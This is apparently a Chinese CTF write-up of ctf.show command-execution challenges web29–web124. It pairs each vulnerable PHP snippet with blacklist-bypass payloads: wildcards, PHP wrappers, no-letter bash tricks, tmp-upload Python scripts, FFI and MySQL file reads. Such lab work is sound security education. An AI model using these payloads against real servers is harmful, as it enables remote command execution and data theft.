WEB入门——命令执行
web29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
特点:eval函数命令执行
难点:$c 不能匹配到大小写的flag
解决:
[[linux 通配符]]
?c=system('tac f*');
web30
error_reporting(0);
if(isset($_GET['c'])){ $c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{ highlight_file(__FILE__);
}
特点:eval函数命令执行
难点:过滤了system
解决:
[[php 执行函数]]
?c=passthru('tac f*');
web31
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
特点:eval函数命令执行
难点:过滤了空格、过滤了查看文件函数
解决:
[[linux 无空格绕过]]
[[linux 读取文件函数]]
?c=passthru("tac%09f*");
web32
error_reporting(0);
if(isset($_GET['c'])){ $c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{ highlight_file(__FILE__);
}
特点:eval函数命令执行
难点:过滤了分号
[[php 伪协议]]
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
特点:需要打出完整的flag
web37
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
特点:include函数命令执行
解决:
[[php 伪协议]]
c=data://text/plain,<?php system("tac f*");?>
web38
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
特点:include函数命令执行
难点:过滤了php
解决:把php换成等号
短标签<?=
<?=是PHP短标签,等同于 <?php
从PHP 5.4开始,<?=总是可用,无需开启short_open_tag
?c=data://text/plain,<?= system("tac f*");?>
web39
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
特点:include函数命令执行
难点:把$c."php"拼接了起来
解决:
但是还是可以用命令执行,因为在短标签里面进行了一个 已经闭合了所以不会受到.php的影响
data://text/plain
这样就相当于执行了php语句
.php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
?c=data://text/plain,<?= system("tac f*");?>
web40
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
特点:eval函数命令执行
难点:过滤数字和特殊符号、过滤了中文的括号,没有过滤英文的()
解决:[[php 纯英文括号绕过]]
?c=print_r(scandir(current(localeconv())));
返回:Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
详解:
localeconv() → 返回包含"."的数组
current() → 提取出"."
scandir(".") → 扫描当前目录
print_r() → 打印目录列表
flag.php在倒数第二位,然后用show_source输出
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=show_source(next(array_reverse(scandir(current(localeconv())))));
?c=show_source(next(array_reverse(scandir(getcwd()))));
详解:
php数组的内部指针默认在第一个元素
web41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
特点:eval函数命令执行
难点:
过滤了数字和字母(因为后面/i对大小写不敏感),并且不能用异或、取反、自增等操作(过滤$、+、-、^、~),但是可以用|(或)
[[或运算构造任意php函数]]
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
特点:system函数命令执行
难点:>/dev/null 2>&1,输入的内容会被丢弃
[[php 重定向]]
解决:
用;或||等进行分割
?c=tac flag.php||ls
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
特点:system函数命令执行
?c=tac flag.php||ls
web44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
特点:system函数命令执行
解决:[[linux 通配符]]
?c=tac f*||ls
web45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
特点:system函数命令执行
难点:过滤空格
解决:[[linux 无空格绕过]]
?c=tac%09f*||ls
web46
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
特点:system函数命令执行
难点:过滤了数字 $ *
解决:换一下通配符号
[[linux 通配符]]
?c=tac%09fla?.???||ls
web49
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
特点:system函数命令执行
难点:过滤了more less head sort tail等
解决:tac
[[linux 读取文件函数]]
?c=tac%09fla?.???||ls
web50
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
特点:system函数命令执行
难点:过滤了\x09和\x26
解决:[[linux 无空格绕过]]
还有别的替代方式
用<>
?c=tac<fla\g.php||
?c=tac<fla''g.php||
?c=tac<fla""g.php||
web51
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
特点:system函数命令执行
难点:过滤了tac
[[linux 读取文件函数]]
?c=nl<>fl\ag.php||ls
web52
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
特点:system函数命令执行
难点:过滤了<>
解决:用${IFS}
?c=nl${IFS}fl\ag.php||ls
用ls查看
?c=ls${IFS}/||ls
返回:
bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var
最终:
?c=nl${IFS}/fl\ag||ls
web53
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
特点:system函数命令执行
难点:过滤了
换行符
不变
?c=nl${IFS}fl\ag.php||ls
web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
特点:system函数命令执行
解决:用rev函数
[[linux 读取文件函数]]
?c=rev${IFS}fla?.php
web55
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
特点:system函数命令执行
难点:把字母过滤了
解决:[[linux 通配符]]
bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls
?c=/???/????64 ????.???
web56
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
特点:system函数命令执行
难点:数字和字母都过滤了
解决:
利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母
解释:在 Linux Shell 中直接运行
. /tmp/phpxxxxxx
表示在当前 shell 会话中执行 /tmp/phpxxxxxx 文件里的命令。
[[无字母数字的命令执行——tmp绕过]]
import requests
while True:
url = 'http://617464c5-1e4b-4cd8-9ef1-adbb89037d3c.challenge.ctf.show/?c=. /???/????????[@-[]'
flag = requests.post(url=url,files={"file":("flag.txt","cat flag.php")})
if("ctf" in flag.text):
print(flag.text)
break
web57
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
特点:system函数命令执行
难点:构造c=36,数字字母都过滤了
解决:用$和()构造数字
echo $(()) = 0
对其取反
echo $((~$(()))) = -1
取反加起来
echo $(($((~$(())))$((~$(()))))) = -2
对上面的取反
echo $((~$(($((~$(())))$((~$(()))))))) = 1
如果要构造36,只需要构造出-37然后对其进行取反即可
[[$和()来构造数字]]
print("$((~$(("+"$((~$(())))"*37+"))))")
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
web58-65
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
特点:eval函数命令执行,POST
解决:[[php 读取文件函数]]
POST: c=show_source("flag.php");
POST: c=highlight_file("flag.php");
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
web66
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
先查看文件
c=print_r(scandir("./"));
返回:
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
c=print_r(scandir("/"));
返回:
Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var )
payload:
c=highlight_file('/flag.txt');
web68
猜是:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
打开就直接说
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
难点:把highlight_file、print_r给禁了
[[php 读取目录函数]]
print_r换var_dump
c=var_dump(scandir("./"));
返回:
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }
[[php 读取文件函数]]
highlight_file换require
c=require("/flag.txt");
web69
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
难点:highlight_file、print_r、var_dump给禁了
[[php 读取目录函数]]
c=$d=dir("/");while(false!==($f=$d->read())){echo$f."\n";}
返回:
srv usr root media .. lib sys var opt proc home bin dev mnt run sbin tmp etc . flag.txt .dockerenv
c=require("/flag.txt");
web70
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14
Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?
依旧
c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";}
c=require("/flag.txt");
web71
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
ob_get_contents:返回输出缓冲区的内容
ob_end_clean:清空(擦除)缓冲区并关闭输出缓冲
如果使用:
c=require("/flag.txt");
返回:
???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????{????????-????-????-????-????????????} 你要上天吗?
[[php 劫持输出缓冲区]]
思路1:提前把缓冲区送出
c=include('/flag.txt');ob_flush();
c=include('/flag.txt');ob_end_flush();
思路2:提前终止程序
c=require("/flag.txt");exit();
c=include('/flag.txt');die();
web72
禁用函数open_basedir、disable functions
PHP 7.x GC (Garbage Collector) UAF (Use-After-Free) Exploit
[[UAF]]
web75
open_basedir 限制了访问路径,uaf脚本用不了,用mysql的load_file读取文件
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36d.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
web77
利用的是PHP 7.4+的FFI特性,即外部函数接口特性,相关文档请查看PHP手册,这里我主要是对payload信息进行简单分析。
PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
先读文件:
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};die();
返回:
bin boot dev etc flag36x.txt home lib lib64 media mnt opt proc readflag root run sbin srv sys tmp usr var
尝试直接读取/flag36x.txt,访问1.txt后没有任何内容
c=$ffi = FFI::cdef("int system(const char *command);");
$a='cat /flag36x.txt > 1.txt';
$ffi->system($a);exit();
尝试读取/readflag文件,成功读取,为ELF可执行文件
c=$ffi = FFI::cdef("int system(const char *command);");
$a='cat /readflag > 1.txt';
$ffi->system($a);exit();
获取readflag文件分析

通过执行readflag文件即可获取flag信息,访问/flag.txt
c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();
web118
[[测试字符白名单]]
import requests
url=''
for i in range(32,127): #常见字符串范围37-127
data={"code":f"{chr(i)}"} # chr()-->将数字转为字符串
r=requests.post(url=url,data=data).text
if 'evil input' not in r:
print(chr(i),end=' ')

难点:只有大写字母和${}:?.~能通过
解决:
思路1:[[linux bash内置变量利用]]
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???
思路2:php在tmp目录下产生临时文件的特性
import requests
url='https://17ef02c4-8a01-481d-8bbe-ca676b4289c2.challenge.ctf.show/'
while True:
payload={"code":". ${PWD:${#}:${##}}???${PWD:${#}:${##}}?????M???"} # . 等效与source 执行脚本,???/?????M??? --> tmp/php随机6位数,随机6位数用
command='cat f*'
file={"file":f"#!/bin/sh\n{command}"} # 【#!/bin/bash】代表php文件用,/bin/sh解释器运行
r=requests.post(url=url,files=file,data=payload, verify=False).text # 文件上传的post构造
if 'ctfshow' in r:
print(r)
break
web119
难点:在之前的基础上ban掉了PATH、BASH
${PWD:${#}:${#SHLVL}} → /
${HOME:${#HOSTNAME}:${#SHLVL}} → c
思路1:构造:/bin/cat flag.php
可以构造成:/???/??t/ ????.??
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
思路2:构造:/bin/base64 flag.php
${#RANDOM} → 4或5,多试几次
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
web120
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
控制长度
${HOME:${#HOSTNAME}:${#SHLVL}}特别占位置,于是想到找其他字母
构造:/bin/base64 flag.php
${#RANDOM} → 4或5,多试几次
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
web121
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){ $code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
难点:过滤了SHLVL
解决:用${##}替代
构造:/bin/base64 flag.php
${#RANDOM} → 4或5,多试几次
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
构造/bin/rev flag.php
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
web122
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){ $code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
难点:PWD也禁用了
解决:
通过$?来实现的,$?是表示上一条命令执行结束后的传回值
通常0代表执行成功,非0代表执行有误
利用<A构造数字1
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
#可能存在成功的机会,不断刷新
web124
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-06 14:04:45
*/
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1 $content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
进制转换函数
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{sin}($$pi{cos})&sin=system&cos=tac flag.php
1.base_convert(37907361743,10,36)得到字符串 hex2bin
2.dechex(1598506324)得到十六进制字符串 5f474554
3.hex2bin("5f474554") 得到字符串_GET
4.动态变量:$$pi→${$pi} → ${"_GET"} → $_GET
5.$_GET{'sin'} 等价于 $_GET['sin']
6.拼凑
$_GET['sin'] = "system"
$_GET['cos'] = "tac flag.php"
相当于:
system("tac flag.php");
加密_GET过程:
1.字符串转化十六进制字符串:_GET→5f474554
2.十六进制字符串转化数字5f474554→1598506324

浙公网安备 33010602011771号